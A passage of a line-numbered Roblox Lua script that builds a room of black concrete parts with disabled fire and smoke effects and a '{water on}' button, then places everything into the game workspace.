  722. end
  723.  
  724. script.Parent.ClickDetector.MouseClick:connect(onClicked)
  725.  
  726. end))
  727. Fire48.Parent = Part44
  728. Fire48.Size = 30
  729. Fire48.Color = Color3.new(0, 0, 1)
  730. Fire48.Enabled = false
  731. Fire48.Heat = 25
  732. Fire48.SecondaryColor = Color3.new(1, 1, 1)
  733. Fire48.Color = Color3.new(0, 0, 1)
  734. Part49.Name = "smoke1"
  735. Part49.Parent = Model41
  736. Part49.BrickColor = BrickColor.new("Really black")
  737. Part49.Rotation = Vector3.new(180, -90, 0)
  738. Part49.Anchored = true
  739. Part49.FormFactor = Enum.FormFactor.Symmetric
  740. Part49.Size = Vector3.new(2, 1, 2)
  741. Part49.CFrame = CFrame.new(-11.9399815, 13.9800367, -25.8499947, -0, -0, -1, -0, -1, -0, -1, -0, -0)
  742. Part49.BackSurface = Enum.SurfaceType.Weld
  743. Part49.BottomSurface = Enum.SurfaceType.Weld
  744. Part49.FrontSurface = Enum.SurfaceType.Weld
  745. Part49.LeftSurface = Enum.SurfaceType.Weld
  746. Part49.RightSurface = Enum.SurfaceType.Weld
  747. Part49.TopSurface = Enum.SurfaceType.Hinge
  748. Part49.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  749. Part49.Position = Vector3.new(-11.9399815, 13.9800367, -25.8499947)
  750. Part49.Orientation = Vector3.new(0, -90, -180)
  751. Part49.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  752. Smoke50.Parent = Part49
  753. Smoke50.Color = Color3.new(0.301961, 0.301961, 0.301961)
  754. Smoke50.Enabled = false
  755. Smoke50.Opacity = 1
  756. Smoke50.RiseVelocity = 25
  757. Smoke50.Color = Color3.new(0.301961, 0.301961, 0.301961)
  758. BlockMesh51.Parent = Part49
  759. Part52.Name = "smoke2"
  760. Part52.Parent = Model41
  761. Part52.BrickColor = BrickColor.new("Really black")
  762. Part52.Rotation = Vector3.new(180, -90, 0)
  763. Part52.Anchored = true
  764. Part52.FormFactor = Enum.FormFactor.Symmetric
  765. Part52.Size = Vector3.new(2, 1, 2)
  766. Part52.CFrame = CFrame.new(-16.9399815, 13.9800367, -25.8499947, -0, -0, -1, -0, -1, -0, -1, -0, -0)
  767. Part52.BackSurface = Enum.SurfaceType.Weld
  768. Part52.BottomSurface = Enum.SurfaceType.Weld
  769. Part52.FrontSurface = Enum.SurfaceType.Weld
  770. Part52.LeftSurface = Enum.SurfaceType.Weld
  771. Part52.RightSurface = Enum.SurfaceType.Weld
  772. Part52.TopSurface = Enum.SurfaceType.Hinge
  773. Part52.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  774. Part52.Position = Vector3.new(-16.9399815, 13.9800367, -25.8499947)
  775. Part52.Orientation = Vector3.new(0, -90, -180)
  776. Part52.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  777. Smoke53.Parent = Part52
  778. Smoke53.Color = Color3.new(0.301961, 0.301961, 0.301961)
  779. Smoke53.Enabled = false
  780. Smoke53.Opacity = 1
  781. Smoke53.RiseVelocity = 25
  782. Smoke53.Color = Color3.new(0.301961, 0.301961, 0.301961)
  783. BlockMesh54.Parent = Part52
  784. Part55.Name = "smoke3"
  785. Part55.Parent = Model41
  786. Part55.BrickColor = BrickColor.new("Really black")
  787. Part55.Rotation = Vector3.new(180, -90, 0)
  788. Part55.Anchored = true
  789. Part55.FormFactor = Enum.FormFactor.Symmetric
  790. Part55.Size = Vector3.new(2, 1, 2)
  791. Part55.CFrame = CFrame.new(-21.9399834, 13.9800367, -25.8499947, -0, -0, -1, -0, -1, -0, -1, -0, -0)
  792. Part55.BackSurface = Enum.SurfaceType.Weld
  793. Part55.BottomSurface = Enum.SurfaceType.Weld
  794. Part55.FrontSurface = Enum.SurfaceType.Weld
  795. Part55.LeftSurface = Enum.SurfaceType.Weld
  796. Part55.RightSurface = Enum.SurfaceType.Weld
  797. Part55.TopSurface = Enum.SurfaceType.Hinge
  798. Part55.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  799. Part55.Position = Vector3.new(-21.9399834, 13.9800367, -25.8499947)
  800. Part55.Orientation = Vector3.new(0, -90, -180)
  801. Part55.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  802. Smoke56.Parent = Part55
  803. Smoke56.Color = Color3.new(0.301961, 0.301961, 0.301961)
  804. Smoke56.Enabled = false
  805. Smoke56.Opacity = 1
  806. Smoke56.RiseVelocity = 25
  807. Smoke56.Color = Color3.new(0.301961, 0.301961, 0.301961)
  808. BlockMesh57.Parent = Part55
  809. Part58.Name = "smoke4"
  810. Part58.Parent = Model41
  811. Part58.BrickColor = BrickColor.new("Really black")
  812. Part58.Rotation = Vector3.new(180, 0, 0)
  813. Part58.Anchored = true
  814. Part58.FormFactor = Enum.FormFactor.Symmetric
  815. Part58.Size = Vector3.new(2, 1, 2)
  816. Part58.CFrame = CFrame.new(-11.9399815, 13.9800367, -16.8499947, 1, -0, -0, 0, -1, -0, 0, -0, -1)
  817. Part58.BackSurface = Enum.SurfaceType.Weld
  818. Part58.BottomSurface = Enum.SurfaceType.Weld
  819. Part58.FrontSurface = Enum.SurfaceType.Weld
  820. Part58.LeftSurface = Enum.SurfaceType.Weld
  821. Part58.RightSurface = Enum.SurfaceType.Weld
  822. Part58.TopSurface = Enum.SurfaceType.Hinge
  823. Part58.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  824. Part58.Position = Vector3.new(-11.9399815, 13.9800367, -16.8499947)
  825. Part58.Orientation = Vector3.new(0, -180, 180)
  826. Part58.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  827. Smoke59.Parent = Part58
  828. Smoke59.Color = Color3.new(0.301961, 0.301961, 0.301961)
  829. Smoke59.Enabled = false
  830. Smoke59.Opacity = 1
  831. Smoke59.RiseVelocity = 25
  832. Smoke59.Color = Color3.new(0.301961, 0.301961, 0.301961)
  833. BlockMesh60.Parent = Part58
  834. Part61.Name = "smoke5"
  835. Part61.Parent = Model41
  836. Part61.BrickColor = BrickColor.new("Really black")
  837. Part61.Rotation = Vector3.new(180, 0, 0)
  838. Part61.Anchored = true
  839. Part61.FormFactor = Enum.FormFactor.Symmetric
  840. Part61.Size = Vector3.new(2, 1, 2)
  841. Part61.CFrame = CFrame.new(-16.9399815, 13.9800367, -16.8499947, 1, -0, -0, 0, -1, -0, 0, -0, -1)
  842. Part61.BackSurface = Enum.SurfaceType.Weld
  843. Part61.BottomSurface = Enum.SurfaceType.Weld
  844. Part61.FrontSurface = Enum.SurfaceType.Weld
  845. Part61.LeftSurface = Enum.SurfaceType.Weld
  846. Part61.RightSurface = Enum.SurfaceType.Weld
  847. Part61.TopSurface = Enum.SurfaceType.Hinge
  848. Part61.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  849. Part61.Position = Vector3.new(-16.9399815, 13.9800367, -16.8499947)
  850. Part61.Orientation = Vector3.new(0, -180, 180)
  851. Part61.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  852. Smoke62.Parent = Part61
  853. Smoke62.Color = Color3.new(0.301961, 0.301961, 0.301961)
  854. Smoke62.Enabled = false
  855. Smoke62.Opacity = 1
  856. Smoke62.RiseVelocity = 25
  857. Smoke62.Color = Color3.new(0.301961, 0.301961, 0.301961)
  858. BlockMesh63.Parent = Part61
  859. Part64.Name = "smoke6"
  860. Part64.Parent = Model41
  861. Part64.BrickColor = BrickColor.new("Really black")
  862. Part64.Rotation = Vector3.new(180, 0, 0)
  863. Part64.Anchored = true
  864. Part64.FormFactor = Enum.FormFactor.Symmetric
  865. Part64.Size = Vector3.new(2, 1, 2)
  866. Part64.CFrame = CFrame.new(-21.9399834, 13.9800367, -16.8499947, 1, -0, -0, 0, -1, -0, 0, -0, -1)
  867. Part64.BackSurface = Enum.SurfaceType.Weld
  868. Part64.BottomSurface = Enum.SurfaceType.Weld
  869. Part64.FrontSurface = Enum.SurfaceType.Weld
  870. Part64.LeftSurface = Enum.SurfaceType.Weld
  871. Part64.RightSurface = Enum.SurfaceType.Weld
  872. Part64.TopSurface = Enum.SurfaceType.Hinge
  873. Part64.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  874. Part64.Position = Vector3.new(-21.9399834, 13.9800367, -16.8499947)
  875. Part64.Orientation = Vector3.new(0, -180, 180)
  876. Part64.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  877. Smoke65.Parent = Part64
  878. Smoke65.Color = Color3.new(0.301961, 0.301961, 0.301961)
  879. Smoke65.Enabled = false
  880. Smoke65.Opacity = 1
  881. Smoke65.RiseVelocity = 25
  882. Smoke65.Color = Color3.new(0.301961, 0.301961, 0.301961)
  883. BlockMesh66.Parent = Part64
  884. Part67.Parent = Model0
  885. Part67.Material = Enum.Material.Concrete
  886. Part67.BrickColor = BrickColor.new("Really black")
  887. Part67.Rotation = Vector3.new(180, 0, -180)
  888. Part67.Anchored = true
  889. Part67.Size = Vector3.new(1, 1.20000005, 16)
  890. Part67.CFrame = CFrame.new(-26.4399834, 3.28001118, -20.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  891. Part67.TopSurface = Enum.SurfaceType.Smooth
  892. Part67.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  893. Part67.Position = Vector3.new(-26.4399834, 3.28001118, -20.8499947)
  894. Part67.Orientation = Vector3.new(0, -180, 0)
  895. Part67.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  896. Fire68.Parent = Part67
  897. Fire68.Size = 30
  898. Fire68.Color = Color3.new(0, 0, 1)
  899. Fire68.Enabled = false
  900. Fire68.Heat = 25
  901. Fire68.SecondaryColor = Color3.new(1, 1, 1)
  902. Fire68.Color = Color3.new(0, 0, 1)
  903. BlockMesh69.Parent = Part67
  904. Part70.Parent = Model0
  905. Part70.Material = Enum.Material.Concrete
  906. Part70.BrickColor = BrickColor.new("Really black")
  907. Part70.Rotation = Vector3.new(180, 0, -180)
  908. Part70.Anchored = true
  909. Part70.Size = Vector3.new(1, 2.4000001, 2)
  910. Part70.CFrame = CFrame.new(-26.4399834, 5.08001518, -17.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  911. Part70.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  912. Part70.Position = Vector3.new(-26.4399834, 5.08001518, -17.8499947)
  913. Part70.Orientation = Vector3.new(0, -180, 0)
  914. Part70.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  915. BlockMesh71.Parent = Part70
  916. Part72.Parent = Model0
  917. Part72.Material = Enum.Material.Concrete
  918. Part72.BrickColor = BrickColor.new("Really black")
  919. Part72.Rotation = Vector3.new(180, 0, -180)
  920. Part72.Anchored = true
  921. Part72.Size = Vector3.new(17, 12, 1)
  922. Part72.CFrame = CFrame.new(-17.4399815, 8.68000698, -29.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  923. Part72.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  924. Part72.Position = Vector3.new(-17.4399815, 8.68000698, -29.3499947)
  925. Part72.Orientation = Vector3.new(0, -180, 0)
  926. Part72.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  927. BlockMesh73.Parent = Part72
  928. Model74.Name = "{water on}"
  929. Model74.Parent = Model0
  930. Humanoid75.Parent = Model74
  931. Humanoid75.Health = 0
  932. Humanoid75.MaxHealth = 0
  933. Part76.Name = "Head"
  934. Part76.Parent = Model74
  935. Part76.BrickColor = BrickColor.new("Really black")
  936. Part76.Rotation = Vector3.new(90, 0, 0)
  937. Part76.Anchored = true
  938. Part76.FormFactor = Enum.FormFactor.Plate
  939. Part76.Size = Vector3.new(2, 0.400000006, 1)
  940. Part76.CFrame = CFrame.new(-16.9399815, 4.18001747, -12.6499977, 1, 0, -0, 0, 0, -1, 0, 1, -0)
  941. Part76.TopSurface = Enum.SurfaceType.Smooth
  942. Part76.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  943. Part76.Position = Vector3.new(-16.9399815, 4.18001747, -12.6499977)
  944. Part76.Orientation = Vector3.new(90, 0, 0)
  945. Part76.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  946. Fire77.Parent = Part76
  947. Fire77.Size = 30
  948. Fire77.Color = Color3.new(0, 0, 1)
  949. Fire77.Enabled = false
  950. Fire77.Heat = 25
  951. Fire77.SecondaryColor = Color3.new(1, 1, 1)
  952. Fire77.Color = Color3.new(0, 0, 1)
  953. Part78.Parent = Model0
  954. Part78.Material = Enum.Material.Concrete
  955. Part78.BrickColor = BrickColor.new("Really black")
  956. Part78.Rotation = Vector3.new(180, 0, -180)
  957. Part78.Anchored = true
  958. Part78.Size = Vector3.new(1, 12, 17)
  959. Part78.CFrame = CFrame.new(-8.43998146, 8.68000698, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  960. Part78.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  961. Part78.Position = Vector3.new(-8.43998146, 8.68000698, -21.3499947)
  962. Part78.Orientation = Vector3.new(0, -180, 0)
  963. Part78.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  964. BlockMesh79.Parent = Part78
  965. for i,v in pairs(mas:GetChildren()) do
  966. v.Parent = workspace
  967. pcall(function() v:MakeJoints() end)
  968. end
  969. mas:Destroy()
  970. for i,v in pairs(cors) do
  971. spawn(function()
  972. pcall(v)
  973. end)
  974. end
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